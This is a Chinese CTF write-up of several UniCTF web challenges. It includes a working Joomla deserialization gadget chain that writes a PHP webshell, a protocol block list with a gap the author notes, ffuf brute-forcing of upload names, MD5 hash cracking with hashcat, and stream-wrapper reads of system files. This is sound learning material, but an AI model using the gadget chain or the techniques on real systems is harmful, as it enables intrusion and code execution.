
哈哈哈写了八道web,嗯,但是wp写在本地,图片没法没法传,这里复现一下没做出的几道。
Joomla Revenge!
给了一个cms源码要自己,
然后给了反序列化入口
php
<?php
require 'libraries/vendor/autoload.php';
define('_JEXEC',1);
$ser = $_POST['unser'];
$ser = base64_decode($ser);
$test = unserialize($ser, ['allowed_classes' => false]);
$str = print_r($test, true);
if (preg_match('/WebAssetManager|HtmlDocument/i', $str)) {
die('Invalid Class');
}
$obj = unserialize($ser);
我之前的想法就是从destruct开始追,看到了一条最有潜力的,但是有有wakeup限制,然后测试了绕过没成功。
wp的方法是,看得一脸懵,之前没自己挖过。
php
Joomla Revenge!
预期解是考察自己挖掘链子, 但是网上有phpmailer地链子打法没有ban掉, 这里贴一下我自己的预期链子:
<?php
namespace Joomla\CMS\Layout;
interface LayoutInterface
{}
namespace Joomla\CMS\Layout;
class BaseLayout implements LayoutInterface
{}
namespace Psr\Http\Message;
interface StreamInterface
{}
namespace Joomla\Filesystem;
class Patcher
{
public function __construct() {
$this->destinations = [
'/var/www/html/shell.php' => ['<?php system($_GET["cmd"]); ?>']
];
$this->patches = [];
}
}
namespace Laminas\Diactoros;
use Psr\Http\Message\StreamInterface;
use Stringable;
use Joomla\Filesystem\Patcher;
class CallbackStream implements StreamInterface, Stringable
{
public function __toString(): string
{
return "";
}
public function __construct() {
$this->callback = [new Patcher(), "apply"];
}
}
namespace Joomla\Filesystem;
use Laminas\Diactoros\CallbackStream;
class Stream
{
public function __construct() {
$this->fh = 1;
$this->processingmethod = new CallbackStream();
}
}
namespace Joomla\Filesystem;
$obj = new Stream();
echo base64_encode(serialize($obj));
前面的那些是
这些是为了在本地没有 Joomla/PSR 环境时,伪造同名空类和接口,让 payload 能正常序列化的"占位壳子",本身不参与利用。
这句:
use Laminas\Diactoros\CallbackStream;
等价于:
use Laminas\Diactoros\CallbackStream as CallbackStream;
意思是:
给长名字起个短名字
也就是:
| 全名 | 简写 |
|---|---|
| Laminas\Diactoros\CallbackStream | CallbackStream |
callback() 直接调用了 POC 中设置的 \[new Patcher(), "apply"\]。 callback是 [new Patcher(), "apply"],为啥$callback()就是new了然后调用那个方法
PHP 可调用数组语法
在 PHP 中,这种数组格式是标准的方法调用回调:
$callback = [new Patcher(), "apply"];
这个数组包含两个元素:
-
索引 0 :对象实例(
new Patcher()) -
索引 1 :方法名字符串(
"apply")
执行原理
当 PHP 看到 $callback() 时,会解析数组结构:
$callback = [new Patcher(), "apply"];
// $callback() 等价于:
// (new Patcher())->apply();

1. 触发点:Stream::__destruct()
php
public function __destruct()
{
if ($this->fh) { // POC中设为 1,条件成立
@$this->close();
}
}
2. 关键跳转:Stream::close()
php
public function close()
{
if (!$this->fh) {
throw new FilesystemException('File not open');
}
switch ($this->processingmethod) { // POC中设为 CallbackStream 对象
case 'gz':
$res = gzclose($this->fh);
break;
// ...
}
}
核心机制 :switch 的 case 进行的是松散比较(==)。当 CallbackStream 对象与字符串 'gz' 比较时,PHP 会自动调用对象的 __toString() 方法。
3. 执行点:CallbackStream::__toString()
php
public function __toString(): string
{
return $this->getContents(); // 调用 getContents()
}
public function getContents(): string
{
$callback = $this->detach(); // 获取 callback 并清空
$contents = $callback !== null ? $callback() : ''; // 执行 callback!
return (string) $contents;
}
public function detach(): ?callable
{
$callback = $this->callback; // 获取 callback
$this->callback = null; // 清空
return $callback;
}
关键代码 :$callback() 直接调用了 POC 中设置的 [new Patcher(), "apply"]。
4. 攻击载荷:Patcher::apply()
POC 中的 Patcher 类:
php
class Patcher
{
public function __construct() {
$this->destinations = [
'/var/www/html/shell.php' => ['<?php system($_GET["cmd"]); ?>']
];
$this->patches = [];
}
}
当 apply() 被调用时,遍历 $this->destinations 并写入文件。
链子调用图
php
unserialize($payload)
↓
[Joomla\Filesystem\Stream]
↓ __destruct()
↓
$this->fh = 1 (truthy)
↓
$this->close()
↓
switch ($this->processingmethod) { case 'gz': ... }
↓ 松散比较触发 __toString()
[Laminas\Diactoros\CallbackStream]
↓ __toString()
↓
$this->getContents()
↓
$callback = $this->detach() // 返回 [Patcher, "apply"]
↓
$callback() // 实际调用 Patcher->apply()
↓
[Joomla\Filesystem\Patcher]
↓ apply()
↓
file_put_contents('/var/www/html/shell.php', '<?php system($_GET["cmd"]); ?>')
↓
RCE 达成
$this->fh = 1 (truthy)
↓
$this->close()

switch ($this->processingmethod) { case 'gz': ... }
↓ 松散比较触发 __toString()

↓ 松散比较触发 __toString()

$this->getContents()

$callback() // 实际调用 Patcher->apply()
php
public function apply()
{
foreach ($this->patches as $patch) {
// Separate the input into lines
$lines = self::splitLines($patch['udiff']);
// Loop for each header
while (self::findHeader($lines, $src, $dst)) {
$done = false;
$regex = '#^([^/]*/)*#';
if ($patch['strip'] !== null) {
$regex = '#^([^/]*/){' . (int) $patch['strip'] . '}#';
}
$src = $patch['root'] . preg_replace($regex, '', $src);
$dst = $patch['root'] . preg_replace($regex, '', $dst);
// Loop for each hunk of differences
while (self::findHunk($lines, $src_line, $src_size, $dst_line, $dst_size)) {
$done = true;
// Apply the hunk of differences
$this->applyHunk($lines, $src, $dst, $src_line, $src_size, $dst_line, $dst_size);
}
// If no modifications were found, throw an exception
if (!$done) {
throw new \RuntimeException('Invalid Diff');
}
}
}
// Initialize the counter
$done = 0;
// Patch each destination file
foreach ($this->destinations as $file => $content) {
$buffer = implode("\n", $content);
if (File::write($file, $buffer)) {
if (isset($this->sources[$file])) {
$this->sources[$file] = $content;
}
$done++;
}
}
// Remove each removed file
foreach ($this->removals as $file) {
if (File::delete($file)) {
if (isset($this->sources[$file])) {
unset($this->sources[$file]);
}
$done++;
}
}
// Clear the destinations cache
$this->destinations = [];
// Clear the removals
$this->removals = [];
// Clear the patches
$this->patches = [];
return $done;
}
好长的内容啊,

foreach (this-\>patches as patch) 这是啥,没有设置就是没有吗
是的!没有设置就是空数组,循环直接跳过。
链子设置的是destinations,没有设置$this->patches
看他
php
foreach ($this->destinations as $file => $content) {
$buffer = implode("\n", $content);
if (File::write($file, $buffer)) {
if (isset($this->sources[$file])) {
$this->sources[$file] = $content;
}
$done++;
}
}
POC 中的设置
php
class Patcher
{
public function __construct() {
$this->destinations = [
'/var/www/html/shell.php' => ['<?php system($_GET["cmd"]); ?>']
];
$this->patches = []; // ← 显式设为空数组
$this->removals = []; // ← 显式设为空数组
}
}
代码执行流程
php
public function apply()
{
// ========== 第1个循环 ==========
foreach ($this->patches as $patch) {
// $this->patches = [] (空数组)
// 循环体一次都不会执行,直接跳过!
}
// ========== 第2个循环 ==========
foreach ($this->destinations as $file => $content) {
// $this->destinations 有数据,执行写文件!
$buffer = implode("\n", $content);
File::write($file, $buffer); // ← 真正干活的在这里
}
// ========== 第3个循环 ==========
foreach ($this->removals as $file) {
// $this->removals = [] (空数组)
// 循环体一次都不会执行,直接跳过!
}
}
学习下php简单代码
1️⃣implode ------ 数组 → 字符串


跟进File::write
php
public static function write($file, $buffer, $useStreams = false)
{
if (\function_exists('set_time_limit')) {
set_time_limit(\ini_get('max_execution_time'));
}
// If the destination directory doesn't exist we need to create it
if (!file_exists(\dirname($file))) {
if (!Folder::create(\dirname($file))) {
return false;
}
}
if ($useStreams) {
$stream = Factory::getStream();
// Beef up the chunk size to a meg
$stream->set('chunksize', (1024 * 1024));
if (!$stream->writeFile($file, $buffer)) {
Log::add(Text::sprintf('JLIB_FILESYSTEM_ERROR_WRITE_STREAMS', __METHOD__, $file, $stream->getError()), Log::WARNING, 'jerror');
return false;
}
self::invalidateFileCache($file);
return true;
}
$FTPOptions = ClientHelper::getCredentials('ftp');
if ($FTPOptions['enabled'] == 1) {
// Connect the FTP client
$ftp = FtpClient::getInstance($FTPOptions['host'], $FTPOptions['port'], [], $FTPOptions['user'], $FTPOptions['pass']);
// Translate path for the FTP account and use FTP write buffer to file
$file = Path::clean(str_replace(JPATH_ROOT, $FTPOptions['root'], $file), '/');
$ret = $ftp->write($file, $buffer);
} else {
$file = Path::clean($file);
$ret = \is_int(file_put_contents($file, $buffer));
}
self::invalidateFileCache($file);
return $ret;
}
② 最关键:真正写文件的地方
在这里:
php
$ret = is_int(file_put_contents($file, $buffer));
等价于:
php
file_put_contents("/var/www/html/shell.php", "payload");
\is_int(...)
\file_put_contents(...)
前面的 \ 表示:
👉 强制使用"全局命名空间"的函数
查找顺序(重点)
假设当前 namespace:
Joomla\Filesystem
你写:
is_int();
PHP 会先找:
Joomla\Filesystem\is_int()
如果存在 → 用它 ❗
不存在 → 再去找全局的 is_int()
这叫:fallback 机制
**public static function write(file, buffer, $useStreams = false)
{
- 设置超时
- 创建目录
- 是否用流写
- 是否用 FTP
- 普通写文件
- 清缓存
}**
寻找触发点的通用方法
1. 松散比较(Loose Comparison)
php
$obj = new CallbackStream([new Patcher(), 'apply']);
// 以下都会触发 __toString()
$obj == 'string' // true/false 比较
$obj == 0 // 与数字比较
$obj == true // 与布尔比较
switch ($obj) { // switch/case
case 'a': ... // 触发!
}
in_array($obj, ['a']) // in_array 松散比较
2. 字符串操作
php
$str = "prefix" . $obj; // 字符串拼接
$str = "$obj"; // 双引号解析
echo $obj; // echo
sprintf("test %s", $obj); // sprintf
3. 函数参数隐式转换
php
strlen($obj); // 期望字符串,触发 __toString
file_exists($obj); // 路径转字符串
preg_match('/test/', $obj); // 正则匹配
4. 数组操作
$arr = [$obj => 'value']; // 数组键名转字符串
到这里就已经写完马了。
总结一下可以找危险函数如这里的write,然后往回找,从destruct,不对发现这里最危险的是
好像从destruct开始找的话,都不知道什么时候是个头。
其实这条链子最经典的是那个$callback()吧,他可以接着找其他的任意类的任意方法。
为什么 $callback() 是经典跳板?
php
// CallbackStream::getContents()
$callback = $this->detach(); // 可控!
$contents = $callback !== null ? $callback() : ''; // 任意回调执行
优势:
-
参数可控(
$this->callback) -
格式是标准 PHP callable:
[对象, 方法名]或函数名 -
可以跳转到 任意类 的 任意方法
然后是这个**CallbackStream** 类其实就很危险就是触发他的__toString就后续可以触发$callback(),也就是说任意可以触发tostring的地方都可以塞这个类.
一鸣唱吧


上传两次发现只有最后两位变了。

然后可以尝试爆破,看看有没有原本就有的文件
以后你可以默认用:
爆目录:
seclists/Discovery/Web-Content/raft-medium-directories.txt
爆文件:
raft-medium-files.txt
爆后缀:
raft-medium-extensions.txt
爆密码:
rockyou.txt
fuzz 参数:
seclists/Fuzzing/parameters.txt
FFUF 使用指南
一、FFUF 简介
👉 FFUF 是一款基于字典爆破的网站探测工具
主要用途:
- 目录爆破
- 文件爆破
- 参数爆破
- 备份文件扫描
- 上传文件名爆破
- API 接口探测
原理: 通过字典内容替换指定位置进行批量测试
二、基础命令格式
ffuf -u URL -w 字典文件
示例: ffuf -u http://test.com/FUZZ -w wordlist.txt
👉 系统会自动用字典内容替换 URL 中的 FUZZ 占位符
三、FUZZ 占位符机制
单变量模式: http://a.com/FUZZ 对应命令: -w list.txt
多变量模式(高级): http://a.com/W1.W2 对应命令: -w num.txt:W1 -w ext.txt:W2
👉 系统会进行字典内容的笛卡尔积组合测试
php
ffuf -u http://80-3452b0a1-5542-4564-9fca-e6673b3d88c2.challenge.ctfplus.cn/uploads/UNiCTF2026W1W2 -w /root/test/num.txt:W1 -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-medium-extensions-lowercase.txt:W2



CTF 中看 phpinfo() 主要看什么?
一般来说,在 CTF 中遇到 phpinfo() 页面,重点关注以下几类信息:
- 已加载的扩展(Extensions)
- 如
ssh2,redis,mongodb,imap,ldap,pdo_mysql,gd,zip,bcmath等。 - 目的 :判断是否可以利用某些函数(如
ssh2_connect,Redis::connect,imagecreatefrompng等)进行 RCE、文件读取、SSRF、反序列化等。
你的例子中,
ssh2是突破口!
- disable_functions(禁用函数)
- 如果
system,exec,shell_exec,passthru,popen等被禁用,就无法直接命令执行。 - 但如果有
ssh2、imap、mail、error_log等未被禁用,可能绕过。
你这里显示:
disable_functions no value no value
✅ 没有禁用任何函数! → 可以直接 system()!
- open_basedir 限制
-
如果设置了
open_basedir,就只能访问指定目录下的文件。 -
你这里是:
open_basedir no value no value
✅ 无限制! → 可以读 /etc/passwd、/flag、环境变量等。
- 环境变量(Environment / $ _ENV)
-
很多 CTF 会把 flag 直接放在环境变量里!
-
你这里赫然写着:
FLAG UniCTF{Ming_Ge_Singing_Is_Magic_${userId}}{256af25a-a8a9-44da-bb03-0a11d32f7175}
🎉 这就是 flag!
虽然里面有
${userId}占位符,但在实际环境中可能已被替换,或者这就是最终格式(CTF 题目有时故意这样写)。
- PHP 版本 & 已知漏洞
- PHP 7.4.33(2022 年发布)→ 较新,不太可能有远程代码执行漏洞。
- 但如果是老版本(如 5.6、7.0),可能结合
use after free、session.upload_progress等利用。
- 文件上传路径 & Web 根目录
DOCUMENT_ROOT => /var/www/htmlSCRIPT_FILENAME => /var/www/html/uploads/UNiCTF202638.php- 说明你上传的 webshell 在
uploads/目录下,可进一步利用。
- 是否在 Docker / Kubernetes 环境
- 主机名:
dep-3452b0a1-...-jjk4z - 环境变量含
KUBERNETES_SERVICE_HOST - 说明是容器化部署 → 可尝试逃逸、读取
/proc/net/fib_trie找内网 IP、访问 metadata(如169.254.169.254)

📌 在你的phpinfo中怎么看
- Additional .ini files parsed
Additional .ini files parsed /usr/local/etc/php/conf.d/docker-php-ext-sodium.ini, /usr/local/etc/php/conf.d/docker-php-ext-ssh2.ini
→ 只说明尝试加载了这两个扩展的配置文件,但不代表一定加载成功。
- 真正的Loaded Extensions(模块列表)
往下滚动,看每个扩展的独立区块:
复制
ssh2 ← 这是一个区块标题
SSH2 support enabled
extension version 1.3.1
libssh2 version 1.9.0
其他区块还有:
-
curl
-
sodium
-
openssl
-
pdo_sqlite
-
zlib
-
...
每个有独立区块的才是真正启用的扩展!
🎯 CTF快速检查技巧
方法1:看phpinfo顶部的"Registered PHP Streams"
Registered PHP Streams https, ftps, compress.zlib, php, file, glob, data, http, ftp, phar, ssh2.shell, ssh2.exec, ssh2.tunnel, ssh2.scp, ssh2.sftp
→ 出现 ssh2.* 说明ssh2扩展确实启用了。

模块开着 ≠ 直接可利用
你环境的高危点
-
PHP 版本 & 核心
-
PHP 7.4.33 → 不是最新,很多老漏洞可能存在。
-
allow_url_fopen = On,allow_url_include = Off→ 可以发远程请求,但远程包含被禁。
-
-
危险函数几乎没禁
-
没看到
disable_functions→exec, system, passthru, shell_exec等函数应该都能用。 -
函数 + php 的模块 = 几乎能直接做 RCE。
-
-
模块
-
ssh2 → 可以远程连接 SSH 并执行命令。
-
curl → 可以发请求,做 SSRF 或外部通信。
-
phar → 可以触发对象反序列化链(如果有
unserialize)。 -
file_uploads = On → 文件上传可以用。
-
sockets → 自定义网络请求/监听也可以。
-
zip / zlib / bz2 → 可做 phar 利用链压缩包装。
-
-
流包装器
- 支持
php://,ssh2.*,compress.zlib://等,几乎所有攻击向量都可以组合。
- 支持
-
环境变量
_ENV['FLAG']→ flag 明文在环境变量里,可能直接读文件/用getenv('FLAG')就能拿到。
结论
几乎所有 CTF 常用利用点都有机会,只要你能找到触发点:
-
RCE →
exec()、shell_exec()、ssh2等 -
LFI / RFI → 虽然
allow_url_include=Off,但php://和phar://依然可以 -
对象反序列化 →
phar://+unserialize -
文件读取 →
$_ENV、/proc/self/environ、php://filter等 -
文件上传 →
/uploads/可利用
核心概念
-
模块开着只是提供能力
-
比如
ssh2模块开着 → 你可以用它连接 SSH 执行命令 -
但是你得有代码路径可以调用它。
-
如果网站没提供任何 PHP 代码来用
ssh2_connect()或ssh2_exec(),你自己在浏览器端是不能直接用的。
-
-
函数未禁用 + 网站功能 = 可利用点
-
exec()没禁,且网站有文件上传 → 可以上传 PHP webshell → 直接 RCE -
unserialize()存在,且网站有上传或 phar 流 → 可以做对象反序列化链 -
curl开启,但网站没有接受 URL 输入 → SSRF 也触发不了
-
-
环境变量 / 内部信息
-
_ENV['FLAG']在 phpinfo() 里可见,但在实际题目里你能不能访问? -
如果网站有读取环境变量的功能或者某个 PHP 文件里可以
echo getenv('FLAG')→ 就直接拿到 -
否则你只能找其他绕过路径(LFI, RCE, phar...)
-
-
总结一句话
开着模块只是工具箱,你必须找网站提供的接口/功能去用这些工具。模块本身不会"自动"被利用。
刚刚的db文件


php
import sqlite3
conn = sqlite3.connect("sql.db")
cur = conn.cursor()
# 看表
cur.execute("select name from sqlite_master where type='table'")
print(cur.fetchall())


看到admin了,然后密码估计加密了7fef6171469e80d32c0559f88b377245
CrackStation - Online Password Hash Cracking - MD5, SHA1, Linux, Rainbow Tables, etc.
这是CrackStation (官网地址:https://crackstation.net/),是网络安全领域非常知名的在线密码哈希破解工具,由 Defuse Security 发起的安全科普项目,对 CTF 竞赛、渗透测试和密码安全审计都极具实用性。
核心功能与特点
- 哈希破解能力 :支持 LM、NTLM、MD5、SHA-1/256/512 等几乎所有常见的无盐哈希算法,通过海量预计算彩虹表 / 查找表 (MD5/SHA1 表达 190GB、150 亿条目量级)实现毫秒级破解,你截图里的 MD5 哈希
7fef6171469e80d32c0559f88b377245被秒解为admin888就是典型场景。

登录管理员后,多了这个

直接读取file:///flag会返回错误。那么试着读取源码。
file:///var/www/html/download.php
php
<?php
// 引入数据库连接
require_once 'includes/db.php';
if (session_status() === PHP_SESSION_NONE) { session_start(); }
if (!isset($_SESSION['user'])) {
require_once 'includes/header.php';
die("<div class='container'><p class='error'>请先登录会员系统!/ Access Denied</p></div>");
require_once 'includes/footer.php';
}
if (isset($_GET['preview']) && $_GET['preview'] === "true" && isset($_SESSION['is_admin']) && $_SESSION['is_admin'] == 1) {
$format = isset($_GET['format']) ? $_GET['format'] : '';
// ========================================
// 安全过滤:协议黑名单检查
// ========================================
$dangerousProtocols = [
'php://',
'data://',
'phar://',
'zip://',
'compress.zlib://',
'compress.bzip2://',
'zlib://',
'glob://',
'expect://',
'input://',
'http://',
'https://',
'ftp://',
'ftps://',
'dict://',
'gopher://',
'tftp://',
'ldap://',
'ssh2.sftp://',
'ssh2.scp://',
'ssh2.tunnel://',
'rar://',
'ogg://',
];
foreach ($dangerousProtocols as $protocol) {
if (stripos($format, $protocol) !== false) {
require_once 'includes/header.php';
echo "<div class='container'>";
echo "<p class='error'>⚠️ 安全警告:禁止使用该协议 " . htmlspecialchars($protocol) . "</p>";
echo "<p>系统检测到潜在的安全风险,已拦截此次请求。</p>";
echo "</div>";
require_once 'includes/footer.php';
exit;
}
}
// ========================================
$full_path = $format;
$is_viewing_source = (strpos($format, 'file://') === 0);
if ($is_viewing_source) {
header('Content-Type: text/plain; charset=utf-8');
} else {
header('Content-Type: text/html; charset=utf-8');
require_once 'includes/header.php';
echo "<div class='container'><h2 class='neon-text'>🔧 管理员预览控制台</h2>";
echo "<p class='message'>正在尝试加载资源流: <strong>" . htmlspecialchars($full_path) . "</strong></p>";
echo "<div style='background: #000; padding: 15px; border: 1px solid #333; font-family: monospace; color: #0f0; white-space: pre-wrap;'>";
}
try {
$handle = @fopen($full_path, 'r');
if ($handle) {
$content = stream_get_contents($handle);
if ($is_viewing_source) {
echo $content;
} else {
echo htmlspecialchars($content);
}
fclose($handle);
} else {
echo "Error: 资源加载失败。\n";
echo "可能的原因为:\n";
echo "1. 文件路径不存在\n";
echo "2. 权限不足 (Permission Denied)\n";
echo "3. 协议格式错误\n";
}
} catch (Exception $e) {
echo "System Error: " . $e->getMessage();
}
if (!$is_viewing_source) {
echo "</div></div>"; // 关闭 console 和 container
require_once 'includes/footer.php';
}
exit;
}
//普通会员文件下载
require_once 'includes/header.php';
if (isset($_GET['file'])) {
$file = $_GET['file'];
if (strpos($file, '..') === false && strpos($file, '/') === false) {
$filepath = "uploads/" . $file;
if (file_exists($filepath)) {
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename="'.basename($filepath).'"');
header('Content-Length: ' . filesize($filepath));
readfile($filepath);
exit;
} else {
echo "<p class='error'>文件不存在或已被移除。</p>";
}
} else {
echo "<p class='error'>非法请求。</p>";
}
}
$admin_panel = '';
if (isset($_SESSION['is_admin']) && $_SESSION['is_admin'] == 1) {
$current_dir = __DIR__;
$admin_panel = <<<HTML
<div class="admin-panel">
<h3 class="neon-text">🔧 管理员内部预览 (Dev Mode)</h3>
<p style="color: gray; font-size: 0.8em;">当前 Web 根目录: {$current_dir}</p>
<form method="get" target="_blank">
<input type="hidden" name="preview" value="true">
<label>Resource URI:</label>
<input type="text" name="format" placeholder="例如: file://{$current_dir}/index.php" style="width: 70%;" required>
<button type="submit">加载资源</button>
</form>
</div>
HTML;
}
?>
<h2 class="neon-text">🎵 一鸣曲库 (归档中心)</h2>
<p>这里存放着系统归档文件。普通会员可根据文件名下载。</p>
<div style="margin-top: 30px; padding: 20px; background: rgba(0,0,0,0.3);">
<h3>📥 歌曲/文件下载</h3>
<form method="get">
文件名: <input type="text" name="file" placeholder="输入文件名, 如 MGSG202500.mp3">
<button type="submit">下载文件</button>
</form>
</div>
<?php
echo $admin_panel;
require_once 'includes/footer.php';
?>
顺便看下upload.php
php
<?php
require_once 'includes/header.php';
if (!isset($_SESSION['user'])) {
die("<p class='error'>请先登录会员!</p>");
}
$msg = '';
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_FILES['songfile'])) {
// 伪随机文件名生成逻辑:固定前缀 + 2位随机数字
$prefix = "UNiCTF2026";
$random_suffix = str_pad(rand(0, 99), 2, '0', STR_PAD_LEFT);
$ext = pathinfo($_FILES['songfile']['name'], PATHINFO_EXTENSION);
// 简单的后缀限制 (可以根据需要放宽或收紧)
if (!in_array(strtolower($ext), ['mp3', 'wav', 'txt', 'jpg'])) {
$msg = "<p class='error'>暂不支持此格式文件上传。</p>";
} else {
$filename = $prefix . $random_suffix . "." . $ext;
$target = "uploads/" . $filename;
if (move_uploaded_file($_FILES['songfile']['tmp_name'], $target)) {
$msg = "<p class='success'>点歌成功! 文件已归档至: <strong>" . $target . "</strong><br>感谢您丰富我们的曲库!</p>";
} else {
$msg = "<p class='error'>上传失败,请稍后重试。</p>";
}
}
}
?>
<h2 class="neon-text">📀 会员点歌台</h2>
<?php echo $msg; ?>
<p>请上传您想唱的歌曲伴奏文件(支持 mp3, wav 等)。系统会自动归档。</p>
<form method="post" enctype="multipart/form-data">
<input type="file" name="songfile" required>
<br><br>
<button type="submit">确认上传</button>
</form>
<?php require_once 'includes/footer.php'; ?>
可以看到是白名单,要是有包含点,可以上传图片马
Apache 有经典配置缺陷:多后缀解析从右向左,遇到不认识的后缀继续向左找。
攻击方法:上传 shell.php.txt
「双后缀解析到底什么时候才成立?」
我直接给你结论:
❌ 现在大多数环境默认不支持双后缀解析
✅ 只有在特定 Apache 配置错误时 才会生效
⚠️ CTF 里才经常"故意留"
✅ 情况1:老版本 Apache + 老配置(最经典)
早年很多配置:
AddHandler application/x-httpd-php .php
Apache 的解析规则:
👉 只要路径中出现 .php 就解析。


但是没成功
② 管理员预览(重点🔥🔥🔥)
if (preview=true && is_admin==1) { $format = $_GET['format']; $handle = fopen($format,'r'); $content = stream_get_contents($handle);
👉 format 完全可控
👉 直接 fopen
👉 = 文件 / 流 / wrapper 读取
这就是 LFI / 任意文件读取点
✅ 二、最基本用法(正常开发)
$h = fopen("test.txt", "r"); $data = fread($h, 100); fclose($h);
意思:
打开 test.txt → 读 → 关
✅ 三、fopen 不只是文件(重点🔥)
PHP 里有个东西叫:
Stream Wrapper(流包装器)
所以:
fopen("xxx://yyy")
不一定是文件。
常见 wrapper:
| 协议 | 作用 |
|---|---|
| file:// | 本地文件 |
| php:// | 内存 / 输入 |
| data:// | base64 |
| http:// | 网络 |
| ftp:// | ftp |
| phar:// | 反序列化 |
例如:
fopen("file:///etc/passwd","r");
= 读系统文件 ❗


PHP(危险)
file_get_contents($_GET['url']);
秒变 SSRF/LFI/RCE,其实和文件操作相关的都可以考虑流协议

而且黑名单没有ssh2.exec://
看起来wp的ssh的连接也是之前数据库里面的


人家还提供了一种破解hash的
php
hashcat -a 0 -m 0 hash /usr/share/wordlists/rockyou.txt --show
这是Hashcat ------ 目前全球最主流、功能最强大的密码哈希破解工具之一,是网络安全渗透测试、CTF 竞赛、密码安全审计领域的核心工具(Kali Linux 等安全渗透系统会默认预装)。
-a 0:指定攻击模式为字典攻击(用现成的密码字典去匹配哈希)-m 0:指定待破解的哈希类型为MD5(Hashcat 支持数百种哈希类型,每种对应不同编号)hash:存储 "待破解哈希值" 的文件/usr/share/wordlists/rockyou.txt:调用 Kali 系统自带的经典密码字典(包含超 1400 万条常用弱密码)--show:直接显示已经破解成功的 "哈希 - 明文" 对应结果

php-ssh2 是什么?
ssh2 是 PHP 的一个扩展模块,用来:
👉 让 PHP 直接通过 SSH 协议控制服务器 / 远程主机。
底层基于:
libssh2
本质就是:
👉 PHP 里内置了一个 SSH 客户端。
开启后你就能在 PHP 里干这个:
ssh2_connect() ssh2_auth_password() ssh2_exec() ssh2_scp_send() ssh2_sftp()
相当于:
👉 PHP = ssh + scp + sftp 客户端


其实flag就是phpinfo里面的那个。
Bytecode Compiler

这题,对输入进行加密了。

js代码,虽然比赛的时候也知道要看js,但是看不懂啊,真没招了。
javascript
(() => {
const encoder = new TextEncoder();
const statusEl = document.getElementById('status');
const scriptEl = document.getElementById('scriptInput');
const outputEl = document.getElementById('outputBox');
const packetEl = document.getElementById('packetBox');
const runBtn = document.getElementById('runBtn');
const diagModeEl = document.getElementById('diagMode');
const K = [0x1c, 0x2d, 0x3e, 0x40, 0xa5, 0xb6, 0xc7, 0xd8, 0x24, 0x68, 0xac, 0xe0];
const K1 = ((K[0] << 24) | (K[1] << 16) | (K[2] << 8) | K[3]) >>> 0;
const K2 = ((K[4] << 24) | (K[5] << 16) | (K[6] << 8) | K[7]) >>> 0;
const K3 = ((K[8] << 24) | (K[9] << 16) | (K[10] << 8) | K[11]) >>> 0;
const ROT = 11;
function rotl32(value, shift) {
return ((value << shift) | (value >>> (32 - shift))) >>> 0;
}
function encodeOp(opId, nonceLow32) {
const rot = (rotl32((nonceLow32 ^ K2) >>> 0, ROT) & 0xfffffffc) >>> 0;
const base = ((opId ^ K1) + rot) >>> 0;
return ((base ^ K3) | 0x80000000) >>> 0;
}
function fnv1a32(bytes) {
let hash = 0x811c9dc5;
for (let i = 0; i < bytes.length; i += 1) {
hash ^= bytes[i];
hash = (hash * 0x01000193) >>> 0;
}
return hash >>> 0;
}
function u32le(value) {
return [value & 0xff, (value >>> 8) & 0xff, (value >>> 16) & 0xff, (value >>> 24) & 0xff];
}
function u16le(value) {
return [value & 0xff, (value >>> 8) & 0xff];
}
function toBase64(bytes) {
let binary = '';
for (let i = 0; i < bytes.length; i += 1) {
binary += String.fromCharCode(bytes[i]);
}
return btoa(binary);
}
function parseScript(text) {
const lines = text.split(/\r?\n/).map((line) => line.trim()).filter(Boolean);
return lines.map((line) => {
const [cmd, ...rest] = line.split(/\s+/);
const arg = rest.join(' ');
const upper = cmd.toUpperCase();
if (!['ECHO', 'LEN', 'HASH'].includes(upper)) {
throw new Error(`Unknown command: ${cmd}`);
}
return { op: upper, arg };
});
}
function buildPacket(ast) {
const nonce = new Uint8Array(8);
crypto.getRandomValues(nonce);
const nonceLow32 = new DataView(nonce.buffer).getUint32(0, true);
const flags = diagModeEl && diagModeEl.checked ? 0x01 : 0x00;
const chunks = [];
chunks.push(...encoder.encode('WVLT'));
chunks.push(0x01);
chunks.push(...nonce);
chunks.push(ast.length & 0xff);
const opMap = { ECHO: 0, LEN: 1, HASH: 2 };
const instructions = [];
const signedFlags = (flags << 24) >> 24;
ast.forEach((node) => {
const opId = opMap[node.op];
const argBytes = encoder.encode(node.arg);
const opCode = encodeOp(opId, nonceLow32);
const dispatchIndex = signedFlags < 0
? (((signedFlags >>> 0) | opId) % 4)
: (opId % 4);
chunks.push(...u32le(opCode));
chunks.push(flags);
chunks.push(...u16le(argBytes.length));
chunks.push(...argBytes);
instructions.push({
op: node.op,
op_id: opId,
flags,
signed_flags: signedFlags,
dispatch_index: dispatchIndex,
arg_len: argBytes.length
});
});
const body = Uint8Array.from(chunks);
const checksum = fnv1a32(body);
const packet = new Uint8Array(body.length + 4);
packet.set(body, 0);
packet.set(u32le(checksum), body.length);
const dispatchRules = [
'signed_flags >= 0: dispatch index follows op_id',
'signed_flags < 0: compatibility dispatch uses flags in index',
'dispatch table has 4 slots (including internal diagnostic slot)'
];
const meta = {
total_len: packet.length,
count: ast.length,
mode: flags === 1 ? 'diagnostic' : 'normal',
flags,
dispatch_rules: dispatchRules,
instructions
};
return { packet, meta };
}
async function run() {
statusEl.textContent = '';
outputEl.textContent = '(running)';
packetEl.textContent = '';
let ast;
try {
ast = parseScript(scriptEl.value);
} catch (err) {
outputEl.textContent = err.message;
return;
}
try {
const diagMode = diagModeEl && diagModeEl.checked;
const built = buildPacket(ast);
const packetB64 = toBase64(built.packet);
packetEl.textContent = packetB64;
if (diagMode) {
outputEl.textContent = JSON.stringify(built.meta, null, 2);
}
const response = await fetch('/api/vm', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ packet_b64: packetB64 })
});
const data = await response.json();
if (!data.ok) {
outputEl.textContent = data.error || 'error';
return;
}
if (diagMode) {
const meta = { ...built.meta, vm_output: data.output_utf8 || '' };
outputEl.textContent = JSON.stringify(meta, null, 2);
} else {
outputEl.textContent = data.output_utf8 || '(empty)';
}
} catch (err) {
outputEl.textContent = 'request failed';
}
}
runBtn.addEventListener('click', run);
})();
立即执行函数(IIFE)解析
基本语法
javascript
(() => { /* 代码 */ })();
javascript
(function() { /* 代码 */ })();
定义与作用
-
定义:定义一个函数并立即执行,形成私有作用域
-
等价写法 :
javascriptfunction f() { /* 代码 */ } f();
核心优势
- 防止变量污染全局作用域
- 常用于比赛/题目中隐藏逻辑
不使用IIFE的问题
javascript
var a = 1;
